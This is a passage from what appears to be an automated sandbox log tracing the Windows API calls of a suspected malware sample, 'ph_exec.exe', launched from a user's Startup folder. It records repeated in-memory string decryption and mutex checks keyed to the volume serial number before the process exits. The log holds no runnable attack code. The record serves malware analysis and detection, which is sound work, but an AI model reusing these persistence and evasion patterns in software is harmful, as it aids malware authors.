(dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.812] SetLastError (dwErrCode=0x0) [0118.812] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.813] SetLastError (dwErrCode=0x0) [0118.813] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.814] SetLastError (dwErrCode=0x0) [0118.814] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.815] SetLastError (dwErrCode=0x0) [0118.815] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] GetLastError () returned 0x0 [0118.816] SetLastError (dwErrCode=0x0) [0118.816] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x30) returned 0xb11fa0 [0118.816] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x32d0) returned 0xb11fd8 [0118.817] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x168) returned 0xb11058 [0118.817] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x10) returned 0xb111c8 [0118.817] CryptAcquireContextW (in: phProv=0xc0fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xc0fcf0*=0xda6858) returned 1 [0118.857] CryptImportKey (in: hProv=0xda6858, pbData=0x95f988, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95f9f0 | out: phKey=0x95f9f0*=0xdb9298) returned 1 [0118.858] CryptSetKeyParam (hKey=0xdb9298, dwParam=0x1, pbData=0x95f9d8, dwFlags=0x0) returned 1 [0118.858] CryptDecrypt (in: hKey=0xdb9298, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb111c8, pdwDataLen=0x95f9a4 | out: pbData=0xb111c8, pdwDataLen=0x95f9a4) returned 1 [0118.858] CryptDestroyKey (hKey=0xdb9298) returned 1 [0118.858] GetTickCount () returned 0xc2a4 [0118.858] GetLastError () returned 0x0 [0118.858] SetLastError (dwErrCode=0x0) [0118.858] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x1c) returned 0xb111e0 [0118.858] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x1c) returned 0xb11208 [0118.858] GetVersion () returned 0x23f00206 [0118.858] GetCurrentProcess () returned 0xffffffff [0118.858] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x95f9fc | out: TokenHandle=0x95f9fc*=0x1f0) returned 1 [0118.858] GetTokenInformation (in: TokenHandle=0x1f0, TokenInformationClass=0x14, TokenInformation=0x95f9f4, TokenInformationLength=0x4, ReturnLength=0x95f9f8 | out: TokenInformation=0x95f9f4, ReturnLength=0x95f9f8) returned 1 [0118.858] CloseHandle (hObject=0x1f0) returned 1 [0118.858] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x20) returned 0xb11230 [0118.858] CryptImportKey (in: hProv=0xda6858, pbData=0x95f8f0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95f958 | out: phKey=0x95f958*=0xdb9698) returned 1 [0118.858] CryptSetKeyParam (hKey=0xdb9698, dwParam=0x1, pbData=0x95f940, dwFlags=0x0) returned 1 [0118.858] CryptDecrypt (in: hKey=0xdb9698, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb11230, pdwDataLen=0x95f90c | out: pbData=0xb11230, pdwDataLen=0x95f90c) returned 1 [0118.858] CryptDestroyKey (hKey=0xdb9698) returned 1 [0118.858] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1e) returned 0xb11258 [0118.858] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x1e) returned 0xb11280 [0118.858] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x90) returned 0xb112a8 [0118.858] CryptImportKey (in: hProv=0xda6858, pbData=0x95f8c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95f930 | out: phKey=0x95f930*=0xdb9698) returned 1 [0118.858] CryptSetKeyParam (hKey=0xdb9698, dwParam=0x1, pbData=0x95f918, dwFlags=0x0) returned 1 [0118.858] CryptDecrypt (in: hKey=0xdb9698, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb112a8, pdwDataLen=0x95f8e4 | out: pbData=0xb112a8, pdwDataLen=0x95f8e4) returned 1 [0118.858] CryptDestroyKey (hKey=0xdb9698) returned 1 [0118.859] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb112a8 | out: hHeap=0xb10000) returned 1 [0118.859] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb11258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0118.859] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11280 | out: hHeap=0xb10000) returned 1 [0118.859] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11230 | out: hHeap=0xb10000) returned 1 [0118.859] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f998, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f998*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0118.859] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11258 | out: hHeap=0xb10000) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x40) returned 0xb11230 [0118.859] CryptImportKey (in: hProv=0xda6858, pbData=0x95f924, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95f98c | out: phKey=0x95f98c*=0xdb9518) returned 1 [0118.859] CryptSetKeyParam (hKey=0xdb9518, dwParam=0x1, pbData=0x95f974, dwFlags=0x0) returned 1 [0118.859] CryptDecrypt (in: hKey=0xdb9518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb11230, pdwDataLen=0x95f940 | out: pbData=0xb11230, pdwDataLen=0x95f940) returned 1 [0118.859] CryptDestroyKey (hKey=0xdb9518) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x34) returned 0xb11278 [0118.859] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773001") returned 0x0 [0118.859] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1030B419773001") returned 0x1f0 [0118.859] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0118.859] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11230 | out: hHeap=0xb10000) returned 1 [0118.859] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11278 | out: hHeap=0xb10000) returned 1 [0118.859] ReleaseMutex (hMutex=0x1f0) returned 1 [0118.859] CloseHandle (hObject=0x1f0) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x20) returned 0xb11230 [0118.859] CryptImportKey (in: hProv=0xda6858, pbData=0x95f904, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95f96c | out: phKey=0x95f96c*=0xdb9698) returned 1 [0118.859] CryptSetKeyParam (hKey=0xdb9698, dwParam=0x1, pbData=0x95f954, dwFlags=0x0) returned 1 [0118.859] CryptDecrypt (in: hKey=0xdb9698, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb11230, pdwDataLen=0x95f920 | out: pbData=0xb11230, pdwDataLen=0x95f920) returned 1 [0118.859] CryptDestroyKey (hKey=0xdb9698) returned 1 [0118.859] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x1e) returned 0xb11258 [0118.859] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x1e) returned 0xb11280 [0118.859] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x90) returned 0xb112a8 [0118.859] CryptImportKey (in: hProv=0xda6858, pbData=0x95f8dc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95f944 | out: phKey=0x95f944*=0xdb9158) returned 1 [0118.859] CryptSetKeyParam (hKey=0xdb9158, dwParam=0x1, pbData=0x95f92c, dwFlags=0x0) returned 1 [0118.859] CryptDecrypt (in: hKey=0xdb9158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb112a8, pdwDataLen=0x95f8f8 | out: pbData=0xb112a8, pdwDataLen=0x95f8f8) returned 1 [0118.859] CryptDestroyKey (hKey=0xdb9158) returned 1 [0118.859] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb112a8 | out: hHeap=0xb10000) returned 1 [0118.859] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb11258, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11280 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11230 | out: hHeap=0xb10000) returned 1 [0118.860] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x95f9ac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x95f9ac*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11258 | out: hHeap=0xb10000) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x0, Size=0x40) returned 0xb11230 [0118.860] CryptImportKey (in: hProv=0xda6858, pbData=0x95f938, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x95f9a0 | out: phKey=0x95f9a0*=0xdb9518) returned 1 [0118.860] CryptSetKeyParam (hKey=0xdb9518, dwParam=0x1, pbData=0x95f988, dwFlags=0x0) returned 1 [0118.860] CryptDecrypt (in: hKey=0xdb9518, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb11230, pdwDataLen=0x95f954 | out: pbData=0xb11230, pdwDataLen=0x95f954) returned 1 [0118.860] CryptDestroyKey (hKey=0xdb9518) returned 1 [0118.860] RtlAllocateHeap (HeapHandle=0xb10000, Flags=0x8, Size=0x34) returned 0xb11278 [0118.860] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\1030B419773000") returned 0x1f0 [0118.860] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0118.860] CloseHandle (hObject=0x1f0) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11230 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11278 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb111e0 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11208 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb111c8 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11058 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11fd8 | out: hHeap=0xb10000) returned 1 [0118.860] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb11fa0 | out: hHeap=0xb10000) returned 1 [0118.861] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0118.861] ExitProcess (uExitCode=0x0) [0118.861] HeapFree (in: hHeap=0xb10000, dwFlags=0x0, lpMem=0xb105a8 | out: hHeap=0xb10000) returned 1 Thread: id = 148 os_tid = 0xdb8 Process: id = "13" image_name = "ph_exec.exe" filename = "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\ph_exec.exe" page_root = "0x722e0000" os_pid = "0xdac" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010a28" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 146 os_tid = 0xdb0 [0118.668] GetStartupInfoW (in: lpStartupInfo=0x53fe18 | out: lpStartupInfo=0x53fe18*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0118.668] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0118.668] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0xe70000 [0118.673] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0118.673] GetProcAddress (hModule=0x759a0000, lpProcName="FlsAlloc") returned 0x759b4ae0 [0118.673] GetProcAddress (hModule=0x759a0000, lpProcName="FlsGetValue") returned 0x759b4b20 [0118.673] GetProcAddress (hModule=0x759a0000, lpProcName="FlsSetValue") returned 0x759b4b40 [0118.673] GetProcAddress (hModule=0x759a0000, lpProcName="FlsFree") returned 0x759b4b00 [0118.674] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x214) returned 0xe705a8 [0118.674] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x759a0000 [0118.674] GetCurrentThreadId () returned 0xdb0 [0118.674] GetStartupInfoW (in: lpStartupInfo=0x53fdb4 | out: lpStartupInfo=0x53fdb4*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x13371ca, hStdOutput=0x1337503, hStdError=0xe705a8)) [0118.674] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x8, Size=0x800) returned 0xe707c8 [0118.674] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0118.674] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0118.674] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0118.674] SetHandleCount (uNumber=0x20) returned 0x20 [0118.674] GetCommandLineA () returned="\"C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ph_exec.exe\" " [0118.674] GetEnvironmentStringsW () returned 0x79d850* [0118.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1410 [0118.674] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x582) returned 0xe70fd0 [0118.674] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=::=::\\", cchWideChar=1410, lpMultiByteStr=0xe70fd0, cbMultiByte=1410, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=::=::\\", lpUsedDefaultChar=0x0) returned 1410 [0118.674] FreeEnvironmentStringsW (penv=0x79d850) returned 1 [0118.674] GetLastError () returned 0xcb [0118.674] SetLastError (dwErrCode=0xcb) [0118.674] GetLastError () returned 0xcb [0118.674] SetLastError (dwErrCode=0xcb) [0118.675] GetLastError () returned 0xcb [0118.675] SetLastError (dwErrCode=0xcb) [0118.675] GetACP () returned 0x4e4 [0118.675] RtlAllocateHeap (HeapHandle=0xe70000, Flags=0x0, Size=0x220) returned 0xe71560 [0118.675] GetLastError () returned 0xcb [0118.675] SetLastError (dwErrCode=0xcb) [0118.675] IsValidCodePage (CodePage=0x4e4) returned 1 [0118.675] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x53fd7c | out: lpCPInfo=0x53fd7c) returned 1 [0118.675] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x53f848 | out: lpCPInfo=0x53f848) returned 1 [0118.675] GetLastError () returned 0xcb [0118.675] SetLastError (dwErrCode=0xcb) [0118.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53fc5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53fc5c, cbMultiByte=256, lpWideCharStr=0x53f5c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鳇ijĀ") returned 256 [0118.675] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鳇ijĀ", cchSrc=256, lpCharType=0x53f85c | out: lpCharType=0x53f85c) returned 1 [0118.675] GetLastError () returned 0xcb [0118.675] SetLastError (dwErrCode=0xcb) [0118.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53fc5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0118.675] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x53fc5c, cbMultiByte=256, lpWideCharStr=0x53f598, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0118.675] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0118.675] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x53f388, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0118.675] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x53fb5c, 